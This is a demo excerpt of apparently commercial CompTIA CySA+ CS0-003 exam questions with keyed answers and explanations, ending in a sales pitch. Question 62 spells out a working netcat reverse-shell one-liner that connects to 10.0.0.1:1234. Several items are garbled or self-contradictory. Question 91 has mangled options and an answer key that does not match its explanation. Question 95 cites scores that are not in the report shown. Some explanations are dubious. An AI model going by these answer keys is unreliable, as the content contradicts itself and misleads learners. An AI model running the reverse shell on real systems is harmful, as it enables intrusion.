
The correct answer is D. Registry.

The registry is a database that stores system configuration keys and values in a Windows environment. The registry contains information about the hardware, software, users, and preferences of the system. The registry can be accessed and modified using the Registry Editor tool (regedit.exe) or the command-line tool (reg.exe). The registry is organized into five main sections, called hives, which are further divided into subkeys and values.

The other options are not the best descriptions of where the analyst can find system configuration keys and values in a Windows environment. config.ini (A) is a file that stores configuration settings for some applications, but it is not a database that stores system configuration keys and values. ntds.dit (B) is a file that stores the Active Directory data for a domain controller, but it is not a database that stores system configuration keys and values. Master boot record © is a section of the hard disk that contains information about the partitions and the boot loader, but it is not a database that stores system configuration keys and values.

NEW QUESTION 52

Which of the following is often used to keep the number of alerts to a manageable level when establishing a process to track and analyze violations?

- A. Log retention
- B. Log rotation
- C. Maximum log size
- D. Threshold value

Answer: D

Explanation:

A threshold value is a parameter that defines the minimum or maximum level of a metric or event that triggers an alert. For example, a threshold value can be set to alert when the number of failed login attempts exceeds 10 in an hour, or when the CPU usage drops below 20% for more than 15 minutes. By setting a threshold value, the process can filter out irrelevant or insignificant alerts and focus on the ones that indicate a potential problem or anomaly. A threshold value can help to reduce the noise and false positives in the alert system, and improve the efficiency and accuracy of the analysis12

NEW QUESTION 53

Which of the following techniques can help a SOC team to reduce the number of alerts related to the internal security activities that the analysts have to triage?

- A. Enrich the SIEM-ingested data to include all data required for triage.
- B. Schedule a task to disable alerting when vulnerability scans are executing.
- C. Filter all alarms in the SIEM with low severity.
- D. Add a SOAR rule to drop irrelevant and duplicated notifications.

Answer: B

NEW QUESTION 57

The security operations team is required to consolidate several threat intelligence feeds due to redundant tools and portals. Which of the following will best achieve the goal and maximize results?

- A. Single pane of glass
- B. Single sign-on
- C. Data enrichment
- D. Deduplication

Answer: D

Explanation:

Deduplication is a process that involves removing any duplicate or redundant data or information from a data set or source. Deduplication can help consolidate

several threat intelligence feeds by eliminating any overlapping or repeated indicators of compromise (IoCs), alerts, reports, or recommendations. Deduplication can also help reduce the volume and complexity of threat intelligence data, as well as improve its quality, accuracy, or relevance.

NEW QUESTION 62

A security analyst detected the following suspicious activity:

```
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f
```

 Which of the following most likely describes the activity?

- A. Network pivoting
- B. Host scanning
- C. Privilege escalation
- D. Reverse shell

Answer: D

Explanation:

The command `rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f` is a one-liner that creates a reverse shell from the target machine to the attacker's machine. It does the following steps:

- `rm -f /tmp/f` deletes any existing file named `/tmp/f`
- `mknod /tmp/f p` creates a named pipe (FIFO) file named `/tmp/f`
- `cat /tmp/f|/bin/sh -i 2>&1` reads from the pipe and executes the commands using `/bin/sh` in interactive mode, redirecting the standard error to the standard output
- `nc 10.0.0.1 1234 > tmp/f` connects to the attacker's machine at IP address 10.0.0.1 and port 1234 using netcat, and writes the output to the pipe

This way, the attacker can send commands to the target machine and receive the output through the netcat connection, effectively creating a reverse shell.

References Hack the Galaxy

Reverse Shell Cheat Sheet

NEW QUESTION 65

A SOC analyst is analyzing traffic on a network and notices an unauthorized scan. Which of the following types of activities is being observed?

- A. Potential precursor to an attack
- B. Unauthorized peer-to-peer communication
- C. Rogue device on the network
- D. System updates

Answer: A

NEW QUESTION 67

Which of the following best describes the process of requiring remediation of a known threat within a given time frame?

- A. SLA
- B. MOU
- C. Best-effort patching
- D. Organizational governance

Answer: A

Explanation:

An SLA (Service Level Agreement) is a contract or agreement between a service provider and a customer that defines the expected level of service, performance, quality, and availability of the service. An SLA also specifies the responsibilities, obligations, and penalties for both parties in case of non-compliance or breach of the agreement. An SLA can help organizations to ensure that their security services are delivered in a timely and effective manner, and that any security incidents or vulnerabilities are addressed and resolved within a specified time frame. An SLA can also help to establish clear communication, expectations, and accountability between the service provider and the customer¹²

An MOU (Memorandum of Understanding) is a document that expresses a mutual agreement or understanding between two or more parties on a common goal or objective. An MOU is not legally binding, but it can serve as a basis for future cooperation or collaboration. An MOU may not be suitable for requiring remediation of a known threat within a given time frame, as it does not have the same level of enforceability, specificity, or measurability as an SLA.

Best-effort patching is an informal and ad hoc approach to applying security patches or updates to systems or software. Best-effort patching does not follow any defined process, policy, or schedule, and relies on the availability and discretion of the system administrators or users. Best-effort patching may not be effective or efficient for requiring remediation of a known threat within a given time frame, as it does not guarantee that the patches are applied correctly, consistently, or promptly. Best-effort patching may also introduce new risks or vulnerabilities due to human error, compatibility issues, or lack of testing. Organizational governance is the framework of rules, policies, procedures, and processes that guide and direct the activities and decisions of an organization. Organizational governance can help to establish the roles, responsibilities, and accountabilities of different stakeholders within the organization, as well as the goals, values, and principles that shape the organizational culture and behavior. Organizational governance can also help to ensure compliance with internal and external standards, regulations, and laws. Organizational governance may not be sufficient for requiring remediation of a known threat within a given time frame, as it does not specify the details or metrics of the service delivery or performance. Organizational governance may also vary depending on the size, structure, and nature of the organization.

NEW QUESTION 70

Which of the following does "federation" most likely refer to within the context of identity and access management?

- A. Facilitating groups of users in a similar function or profile to system access that requires elevated or conditional access
- B. An authentication mechanism that allows a user to utilize one set of credentials to access multiple domains
- C. Utilizing a combination of what you know, who you are, and what you have to grant authentication to a user
- D. Correlating one's identity with the attributes and associated applications the user has access to

Answer: B

Explanation:

Federation is a system of trust between two parties for the purpose of authenticating users and conveying information needed to authorize their access to resources. By using federation, a user can use one set of credentials to access multiple domains that trust each other.

NEW QUESTION 74

Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?

- A. Command and control
- B. Actions on objectives
- C. Exploitation
- D. Delivery

Answer: A

Explanation:

Command and control (C2) is a phase of the Cyber Kill Chain that involves the adversary attempting to establish communication with a successfully exploited target. C2 enables the adversary to remotely control or manipulate the target system or network using various methods, such as malware callbacks, backdoors, botnets, or covert channels. C2 allows the adversary to maintain persistence, exfiltrate data, execute commands, deliver payloads, or spread to other systems or networks.

NEW QUESTION 76

A vulnerability scan of a web server that is exposed to the internet was recently completed. A security analyst is reviewing the resulting vector strings:

Vulnerability 1: CVSS: 3.0/AV:N/AC: L/PR: N/UI : N/S: U/C: H/I : L/A:L Vulnerability 2: CVSS: 3.0/AV: L/AC: H/PR:N/UI : N/S: U/C: L/I : L/A: H Vulnerability 3: CVSS: 3.0/AV:A/AC: H/PR: L/UI : R/S: U/C: L/I : H/A:L Vulnerability 4: CVSS: 3.0/AV: P/AC: L/PR: H/UI : N/S: U/C: H/I:N/A:L

Which of the following vulnerabilities should be patched first?

- A. Vulnerability 1
- B. Vulnerability 2
- C. Vulnerability 3
- D. Vulnerability 4

Answer: A

NEW QUESTION 78

A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?

- A. SLA
- B. MOU
- C. NDA
- D. Limitation of liability

Answer: A

Explanation:

SLA stands for service level agreement, which is a contract or document that defines the expectations and obligations between a service provider and a customer regarding the quality, availability, performance, or scope of a service. An SLA may also specify the metrics, penalties, or remedies for measuring or ensuring compliance with the agreed service levels. An SLA can help the SOC manager review if the team is meeting the appropriate contractual obligations for the customer, such as response time, resolution time, reporting frequency, or communication channels.

NEW QUESTION 82

A company's security team is updating a section of the reporting policy that pertains to inappropriate use of resources (e.g., an employee who installs cryptominers on workstations in the office). Besides the security team, which of the following groups should the issue be escalated to first in order to comply with industry best practices?

- A. Help desk
- B. Law enforcement
- C. Legal department
- D. Board member

Answer: C

Explanation:

The correct answer is C. Legal department.

According to the CompTIA Cybersecurity Analyst (CySA+) certification exam objectives, one of the tasks for a security analyst is to "report and escalate security incidents to appropriate stakeholders and authorities" 1. This includes reporting any inappropriate use of resources, such as installing cryptominers on workstations, which may violate the company's policies and cause financial and reputational damage. The legal department is the most appropriate group to escalate this issue to first, as they can advise on the legal implications and actions that can be taken against the employee. The legal department can also coordinate with other groups, such as law enforcement, help desk, or board members, as needed. The other options are not the best choices to escalate the issue to first, as they may not have the authority or expertise to handle the situation properly.

NEW QUESTION 85

Which of the following best describes the goal of a tabletop exercise?

- A. To test possible incident scenarios and how to react properly
- B. To perform attack exercises to check response effectiveness
- C. To understand existing threat actors and how to replicate their techniques
- D. To check the effectiveness of the business continuity plan

Answer: A

Explanation:

A tabletop exercise is a type of simulation exercise that involves testing possible incident scenarios and how to react properly, without actually performing any actions or using any resources. A tabletop exercise is usually conducted by a facilitator who presents a realistic scenario to a group of participants, such as a cyberattack, a natural disaster, or a data breach. The participants then discuss and evaluate their roles, responsibilities, plans, procedures, and policies for responding to the incident, as well as the potential impacts and outcomes. A tabletop exercise can help identify strengths and weaknesses in the incident response plan, improve communication and coordination among the stakeholders, raise awareness and preparedness for potential incidents, and provide feedback and recommendations for improvement.

NEW QUESTION 87

A SOC manager is establishing a reporting process to manage vulnerabilities. Which of the following would be the best solution to identify potential loss incurred by an issue?

- A. Trends
- B. Risk score
- C. Mitigation
- D. Prioritization

Answer: B

Explanation:

A risk score is a numerical value that represents the potential impact and likelihood of a vulnerability being exploited. It can help to identify the potential loss incurred by an issue and prioritize remediation efforts accordingly. <https://www.comptia.org/training/books/cysa-cs0-003-study-guide>

NEW QUESTION 90

An analyst is examining events in multiple systems but is having difficulty correlating data points. Which of the following is most likely the issue with the system?

- A. Access rights
- B. Network segmentation
- C. Time synchronization
- D. Invalid playbook

Answer: C

Explanation:

Time synchronization is the process of ensuring that all systems in a network have the same accurate time, which is essential for correlating data points from different sources. If the system has an issue with time synchronization, the analyst may have difficulty matching events that occurred at the same time or in a specific order. Access rights, network segmentation, and invalid playbook are not directly related to the issue of correlating data points. Verified References: [CompTIA CySA+ CS0-002 Certification Study Guide], page 23

NEW QUESTION 91

A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself. Which of the following can the analyst perform to see the entire contents of the downloaded files?

- A. Change the display filter to f c
- B. acciv
- C. pore
- D. Change the display filter to tcg.port=20
- E. Change the display filter to f cp-daca and follow the TCP streams
- F. Navigate to the File menu and select FTP from the Export objects option

Answer: C

Explanation:

The best way to see the entire contents of the downloaded files in Wireshark is to change the display filter to ftp-data and follow the TCP streams. FTP-data is a protocol that is used to transfer files between an FTP client and server using TCP port 20. By filtering for ftp-data packets and following the TCP streams, the analyst can see the actual file data that was transferred during the FTP session

NEW QUESTION 95

An analyst is evaluating the following vulnerability report:

```
Vulnerability:
  Vulnerability Name: Remote Code Execution
  Group: Information Disclosure
  OWASP: A9 Using Components with Known Vulnerabilities

Metrics:
  CVE Dictionary Entry: CVE-2022-9999
  Base Score: 9.3
  CVSS:3.1 /AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Profile:
  Authentication: Not used
  Times detected: View history
  Aggressiveness: High

Payloads:
  Click here for Request Payload
  Click here for Response Payload
```

Which of the following vulnerability report sections provides information about the level of impact on data confidentiality if a successful exploitation occurs?

- A. Payloads
- B. Metrics
- C. Vulnerability
- D. Profile

Answer: B

Explanation:

The correct answer is B. Metrics.

The Metrics section of the vulnerability report provides information about the level of impact on data confidentiality if a successful exploitation occurs. The Metrics section contains the CVE dictionary entry and the CVSS base score of the vulnerability. CVE stands for Common Vulnerabilities and Exposures and it is a standardized system for identifying and naming vulnerabilities. CVSS stands for Common Vulnerability Scoring System and it is a standardized system for measuring and rating the severity of vulnerabilities.

The CVSS base score is a numerical value between 0 and 10 that reflects the intrinsic characteristics of a vulnerability, such as its exploitability, impact, and scope. The CVSS base score is composed of three metric groups: Base, Temporal, and Environmental. The Base metric group captures the characteristics of a vulnerability that are constant over time and across user environments. The Base metric group consists of six metrics: Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope, and Impact. The Impact metric measures the effect of a vulnerability on the confidentiality, integrity, and availability of the affected resources.

In this case, the CVSS base score of the vulnerability is 9.8, which indicates a critical severity level. The Impact metric of the CVSS base score is 6.0, which indicates a high impact on confidentiality, integrity, and availability. Therefore, the Metrics section provides information about the level of impact on data confidentiality if a successful exploitation occurs.

The other sections of the vulnerability report do not provide information about the level of impact on data confidentiality if a successful exploitation occurs. The Payloads section contains links to request and response payloads that demonstrate how the vulnerability can be exploited. The Payloads section can help an analyst to understand how the attack works, but it does not provide a quantitative measure of the impact. The Vulnerability section contains information about the type, group, and description of the vulnerability. The Vulnerability section can help an analyst to identify and classify the vulnerability, but it does not provide a numerical value of the impact. The Profile section contains information about the authentication, times viewed, and aggressiveness of the vulnerability. The Profile section can help an analyst to assess the risk and priority of the vulnerability, but it does not provide a specific measure of the impact on data confidentiality.

References:

- ? [1] CVE - Common Vulnerabilities and Exposures (CVE)
- ? [2] Common Vulnerability Scoring System SIG
- ? [3] CVSS v3.1 Specification Document
- ? [4] CVSS v3.1 User Guide
- ? [5] How to Read a Vulnerability Report - Security Boulevard

NEW QUESTION 97

Which of the following threat-modeling procedures is in the OWASP Web Security Testing Guide?

- A. Review Of security requirements
- B. Compliance checks
- C. Decomposing the application
- D. Security by design

Answer: C

Explanation:

The OWASP Web Security Testing Guide (WSTG) includes a section on threat modeling, which is a structured approach to identify, quantify, and address the security risks associated with an application. The first step in the threat modeling process is decomposing the application, which involves creating use cases, identifying entry points, assets, trust levels, and data flow diagrams for the application. This helps to understand the application and how it interacts with external entities, as well as to identify potential threats and vulnerabilities¹. The other options are not part of the OWASP WSTG threat modeling process.

NEW QUESTION 100

A security analyst is reviewing the findings of the latest vulnerability report for a company's web application. The web application accepts files for a Bash script to be processed if the files match a given hash. The analyst is able to submit files to the system due to a hash collision. Which of the following should the analyst suggest to mitigate the vulnerability with the fewest changes to the current script and infrastructure?

- A. Deploy a WAF to the front of the application.
- B. Replace the current MD5 with SHA-256.
- C. Deploy an antivirus application on the hosting system.
- D. Replace the MD5 with digital signatures.

Answer: B

Explanation:

The correct answer is B. Replace the current MD5 with SHA-256.

The vulnerability that the security analyst is able to exploit is a hash collision, which is a situation where two different files produce the same hash value. Hash collisions can allow an attacker to bypass the integrity or authentication checks that rely on hash values, and submit malicious files to the system. The web application uses MD5, which is a hashing algorithm that is known to be vulnerable to hash collisions. Therefore, the analyst should suggest replacing the current MD5 with SHA-256, which is a more secure and collision-resistant hashing algorithm.

The other options are not the best suggestions to mitigate the vulnerability with the fewest changes to the current script and infrastructure. Deploying a WAF (web application firewall) to the front of the application (A) may help protect the web application from some common attacks, but it may not prevent hash collisions or detect malicious files. Deploying an antivirus application on the hosting system © may help scan and remove malicious files from the system, but it may not prevent hash collisions or block malicious files from being submitted. Replacing the MD5 with digital signatures (D) may help verify the authenticity and integrity of the files, but it may require significant changes to the current script and infrastructure, as digital signatures involve public-key cryptography and certificate authorities.

NEW QUESTION 101

Which Of the following techniques would be best to provide the necessary assurance for embedded software that drives centrifugal pumps at a power Plant?

- A. Containerization
- B. Manual code reviews
- C. Static and dynamic analysis
- D. Formal methods

Answer: D

Explanation:

According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition¹, the best technique to provide the necessary assurance for embedded software that drives centrifugal pumps at a power plant is formal methods. Formal methods are a rigorous and mathematical approach to software development and verification, which can ensure the correctness and reliability of critical software systems. Formal methods can be used to specify, design, implement, and verify embedded software using formal languages, logics, and tools¹.

Containerization, manual code reviews, and static and dynamic analysis are also useful techniques for software assurance, but they are not as rigorous or comprehensive as formal methods. Containerization is a method of isolating and packaging software applications with their dependencies, which can improve security, portability, and scalability. Manual code reviews are a process of examining the source code of a software program by human reviewers, which can help identify errors, vulnerabilities, and compliance issues. Static and dynamic analysis are techniques of testing and evaluating software without executing it (static) or while executing it (dynamic), which can help detect bugs, defects, and performance issues¹.

NEW QUESTION 104

A vulnerability management team found four major vulnerabilities during an assessment and needs to provide a report for the proper prioritization for further mitigation. Which of the following vulnerabilities should have the highest priority for the mitigation process?

- A. A vulnerability that has related threats and IoCs, targeting a different industry
- B. A vulnerability that is related to a specific adversary campaign, with IoCs found in the SIEM
- C. A vulnerability that has no adversaries using it or associated IoCs
- D. A vulnerability that is related to an isolated system, with no IoCs

Answer: B

Explanation:

A vulnerability that is related to a specific adversary campaign, with IoCs found in the SIEM, should have the highest priority for the mitigation process. This is because it indicates that the vulnerability is actively being exploited by a known threat actor, and that the organization's security monitoring system has detected signs of compromise. This poses a high risk of data breach, service disruption, or other adverse impacts. References: How to Prioritize Vulnerabilities Effectively: Vulnerability Prioritization Explained, Section: How to prioritize vulnerabilities step by step to avoid drowning in sea of problems; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156.

NEW QUESTION 107

During an incident, some IoCs of possible ransomware contamination were found in a group of servers in a segment of the network. Which of the following steps should be taken next?

- A. Isolation
- B. Remediation
- C. Reimaging
- D. Preservation

Answer: A

Explanation:

Isolation is the first step to take after detecting some indicators of compromise (IoCs) of possible ransomware contamination. Isolation prevents the ransomware from spreading to other servers or segments of the network, and allows the security team to investigate and contain the incident. Isolation can be done by disconnecting the infected servers from the network, blocking the malicious traffic, or applying firewall rules¹².

References: 10 Things You Should Do After a Ransomware Attack, How to Recover from a Ransomware Attack: A Step-by-Step Guide

NEW QUESTION 108

A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS. Which of the following most likely describes the observed activity?

- A. There is an issue with the SSL certificate causing port 443 to become unavailable for HTTPS access
- B. An on-path attack is being performed by someone with internal access that forces users into port 80
- C. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80
- D. An error was caused by BGP due to new rules applied over the company's internal routers

Answer: B

Explanation:

An on-path attack is a type of man-in-the-middle attack where an attacker intercepts and modifies network traffic between two parties. In this case, someone with internal access may be performing an on-path attack by forcing users into port 80, which is used for HTTP communication, instead of port 443, which is used for HTTPS communication. This would allow the attacker to compromise the user accounts and access the company's internal portal.

NEW QUESTION 111

A cybersecurity analyst has recovered a recently compromised server to its previous state. Which of the following should the analyst perform next?

- A. Eradication
- B. Isolation
- C. Reporting
- D. Forensic analysis

Answer: D

Explanation:

After recovering a compromised server to its previous state, the analyst should perform forensic analysis to determine the root cause, impact, and scope of the incident, as well as to identify any indicators of compromise, evidence, or artifacts that can be used for further investigation or prosecution. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 244; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 6, page 253.

NEW QUESTION 115

A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid IaaS cloud environment. Which of the following implications should be considered on the new hybrid environment?

- A. The current scanners should be migrated to the cloud
- B. Cloud-specific misconfigurations may not be detected by the current scanners
- C. Existing vulnerability scanners cannot scan IaaS systems
- D. Vulnerability scans on cloud environments should be performed from the cloud

Answer: B

Explanation:

Cloud-specific misconfigurations are security issues that arise from improper or inadequate configuration of cloud resources, such as storage buckets, databases, virtual machines, or containers. Cloud-specific misconfigurations may not be detected by the current scanners that are designed for on-premises environments, as they may not have the visibility or access to the cloud resources or the cloud provider's APIs. Therefore, one of the implications that should be considered on the new hybrid environment is that cloud-specific misconfigurations may not be detected by the current scanners.

NEW QUESTION 118

When undertaking a cloud migration of multiple SaaS application, an organization's system administrator struggled ... identity and access management to cloud-based assets. Which of the following service models would have reduced the complexity of this project?

- A. CASB
- B. SASE
- C. ZTNA
- D. SWG

Answer: A

Explanation:

A Cloud Access Security Broker (CASB) would have reduced the complexity of identity and access management in cloud-based assets. CASBs provide visibility into cloud application usage, data protection, and governance for cloud-based services.

NEW QUESTION 119

Two employees in the finance department installed a freeware application that contained embedded malware. The network is robustly segmented based on areas of responsibility. These computers had critical sensitive information stored locally that needs to be recovered. The department manager advised all department employees to turn off their computers until the security team could be contacted about the issue. Which of the following is the first step the incident response staff members should take when they arrive?

- A. Turn on all systems, scan for infection, and back up data to a USB storage device.
- B. Identify and remove the software installed on the impacted systems in the department.
- C. Explain that malware cannot truly be removed and then reimage the devices.
- D. Log on to the impacted systems with an administrator account that has privileges to perform backups.
- E. Segment the entire department from the network and review each computer offline.

Answer: E

Explanation:

Segmenting the entire department from the network and reviewing each computer offline is the first step the incident response staff members should take when they arrive. This step can help contain the malware infection and prevent it from spreading to other systems or networks. Reviewing each computer offline can help identify the source and scope of the infection, and determine the best course of action for recovery. Turning on all systems, scanning for infection, and backing up data to a USB storage device is a risky step, as it can activate the malware and cause further damage or data loss. It can also compromise the USB storage

device and any other system that connects to it. Identifying and removing the software installed on the impacted systems in the department is a possible step, but it should be done after segmenting the department from the network and reviewing each computer offline. Explaining that malware cannot truly be removed and then reimaging the devices is a drastic step, as it can result in data loss and downtime. It should be done only as a last resort, and after backing up the data and verifying its integrity. Logging on to the impacted systems with an administrator account that has privileges to perform backups is a dangerous step, as it can expose the administrator credentials and privileges to the malware, and allow it to escalate its access and capabilities³⁴. References: Incident Response: Processes, Best Practices & Tools - Atlassian, Incident Response Best Practices | SANS Institute, Malware Removal: How to Remove Malware from Your Device, How to Remove Malware From Your PC | PCMag

NEW QUESTION 121

Which of the following is a reason why proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response?

- A. To ensure the report is legally acceptable in case it needs to be presented in court
- B. To present a lessons-learned analysis for the incident response team
- C. To ensure the evidence can be used in a postmortem analysis
- D. To prevent the possible loss of a data source for further root cause analysis

Answer: A

Explanation:

The correct answer is A. To ensure the report is legally acceptable in case it needs to be presented in court.

Proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response because they ensure the integrity, authenticity, and admissibility of the evidence in case it needs to be presented in court. Evidence that is mishandled, tampered with, or poorly documented may not be accepted by the court or may be challenged by the opposing party. Therefore, incident responders should follow the best practices and standards for evidence collection, preservation, analysis, and reporting¹.

The other options are not reasons why proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response. They are rather outcomes or benefits of conducting a thorough and effective incident response process. A lessons-learned analysis (B) is a way to identify the strengths and weaknesses of the incident response team and improve their performance for future incidents. A postmortem analysis © is a way to determine the root cause, impact, and timeline of the incident and provide recommendations for remediation and prevention. A root cause analysis (D) is a way to identify the underlying factors that led to the incident and address them accordingly.

NEW QUESTION 126

A security analyst is performing an investigation involving multiple targeted Windows malware binaries. The analyst wants to gather intelligence without disclosing information to the attackers. Which of the following actions would allow the analyst to achieve the objective?

- A. Upload the binary to an air gapped sandbox for analysis
- B. Send the binaries to the antivirus vendor
- C. Execute the binaries on an environment with internet connectivity
- D. Query the file hashes using VirusTotal

Answer: A

Explanation:

The best action that would allow the analyst to gather intelligence without disclosing information to the attackers is to upload the binary to an air gapped sandbox for analysis. An air gapped sandbox is an isolated environment that has no connection to any external network or system. Uploading the binary to an air gapped sandbox can prevent any communication or interaction between the binary and the attackers, as well as any potential harm or infection to other systems or networks. An air gapped sandbox can also allow the analyst to safely analyze and observe the behavior, functionality, or characteristics of the binary.

NEW QUESTION 131

During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner and the server was up to date and configured with appropriate auditing and logging. The Chief Information Security Officer wants to find out precisely what happened. Which of the following actions should the analyst take first?

- A. Clone the virtual server for forensic analysis
- B. Log in to the affected server and begin analysis of the logs
- C. Restore from the last known-good backup to confirm there was no loss of connectivity
- D. Shut down the affected server immediately

Answer: A

Explanation:

The first action that the analyst should take in this case is to clone the virtual server for forensic analysis. Cloning the virtual server involves creating an exact copy or image of the server's data and state at a specific point in time. Cloning the virtual server can help preserve and protect any evidence or information related to the security incident, as well as prevent any tampering, contamination, or destruction of evidence. Cloning the virtual server can also allow the analyst to safely analyze and investigate the incident without affecting the original server or its operations.

NEW QUESTION 134

An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external SaaS resources. The team determines the organization was impacted by a DDoS attack. Which of the following logs should the team review first?

- A. CDN
- B. Vulnerability scanner
- C. DNS
- D. Web server

Answer: C

Explanation:

A distributed denial-of-service (DDoS) attack is a type of cyberattack that aims to overwhelm a target's network or server with a large volume of traffic from

multiple sources. A common technique for launching a DDoS attack is to compromise DNS servers, which are responsible for resolving domain names into IP addresses. By flooding DNS servers with malicious requests, attackers can disrupt the normal functioning of the internet and prevent users from accessing external SaaS resources. Official References: <https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack/>

NEW QUESTION 139

A security analyst discovers an ongoing ransomware attack while investigating a phishing email. The analyst downloads a copy of the file from the email and isolates the affected workstation from the network. Which of the following activities should the analyst perform next?

- A. Wipe the computer and reinstall software
- B. Shut down the email server and quarantine it from the network.
- C. Acquire a bit-level image of the affected workstation.
- D. Search for other mail users who have received the same file.

Answer: D

Explanation:

Searching for other mail users who have received the same file is the best activity to perform next, as it helps to identify and contain the scope of the ransomware attack and prevent further damage. Ransomware is a type of malware that encrypts files on a system and demands payment for their decryption. Ransomware can spread through phishing emails that contain malicious attachments or links that download the ransomware. By searching for other mail users who have received the same file, the analyst can alert them not to open it, delete it from their inboxes, and scan their systems for any signs of infection. The other activities are not as urgent or effective as searching for other mail users who have received the same file, as they do not address the immediate threat of ransomware spreading or affecting more systems. Wiping the computer and reinstalling software may restore the functionality of the affected workstation, but it will also erase any evidence of the ransomware attack and make recovery of encrypted files impossible. Shutting down the email server and quarantining it from the network may stop the delivery of more phishing emails, but it will also disrupt normal communication and operations for the organization. Acquiring a bit-level image of the affected workstation may preserve the evidence of the ransomware attack, but it will not help to stop or remove the ransomware or decrypt the files.

NEW QUESTION 143

A company is concerned with finding sensitive file storage locations that are open to the public. The current internal cloud network is flat. Which of the following is the best solution to secure the network?

- A. Implement segmentation with ACLs.
- B. Configure logging and monitoring to the SIEM.
- C. Deploy MFA to cloud storage locations.
- D. Roll out an IDS.

Answer: A

Explanation:

Implementing segmentation with ACLs is the best solution to secure the network. Segmentation is the process of dividing a network into smaller subnetworks, or segments, based on criteria such as function, location, or security level. Segmentation can help improve the network performance, scalability, and manageability, as well as enhance the network security by isolating the sensitive or critical data and systems from the rest of the network. ACLs are Access Control Lists, which are rules or policies that specify which users, devices, or applications can access a network segment or resource, and which actions they can perform. ACLs can help enforce the principle of least privilege, and prevent unauthorized or malicious access to the network segments or resources¹². Configuring logging and monitoring to the SIEM, deploying MFA to cloud storage locations, and rolling out an IDS are all good security practices, but they are not the best solution to secure the network. Logging and monitoring to the SIEM can help detect and analyze the network events and incidents, but they do not prevent them. MFA can help authenticate the users who access the cloud storage locations, but it does not protect the network from attacks or breaches. IDS can help identify and alert the network intrusions, but it does not block them³⁴. References: Network Segmentation: What It Is and How to Do It Right, What is an Access Control List (ACL)? | IBM, What is SIEM? | Microsoft Security, What is Multifactor Authentication (MFA)? | Duo Security, [What is an Intrusion Detection System (IDS)? | IBM]

NEW QUESTION 146

An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country. Which of the following describes what the analyst has noticed?

- A. Beaconing
- B. Cross-site scripting
- C. Buffer overflow
- D. PHP traversal

Answer: A

NEW QUESTION 149

.....

THANKS FOR TRYING THE DEMO OF OUR PRODUCT

Visit Our Site to Purchase the Full Set of Actual CS0-003 Exam Questions With Answers.

We Also Provide Practice Exam Software That Simulates Real Exam Environment And Has Many Self-Assessment Features. Order the CS0-003 Product From:

<https://www.2passeasy.com/dumps/CS0-003/>

Money Back Guarantee

CS0-003 Practice Exam Features:

- * CS0-003 Questions and Answers Updated Frequently
- * CS0-003 Practice Questions Verified by Expert Senior Certified Staff
- * CS0-003 Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- * CS0-003 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year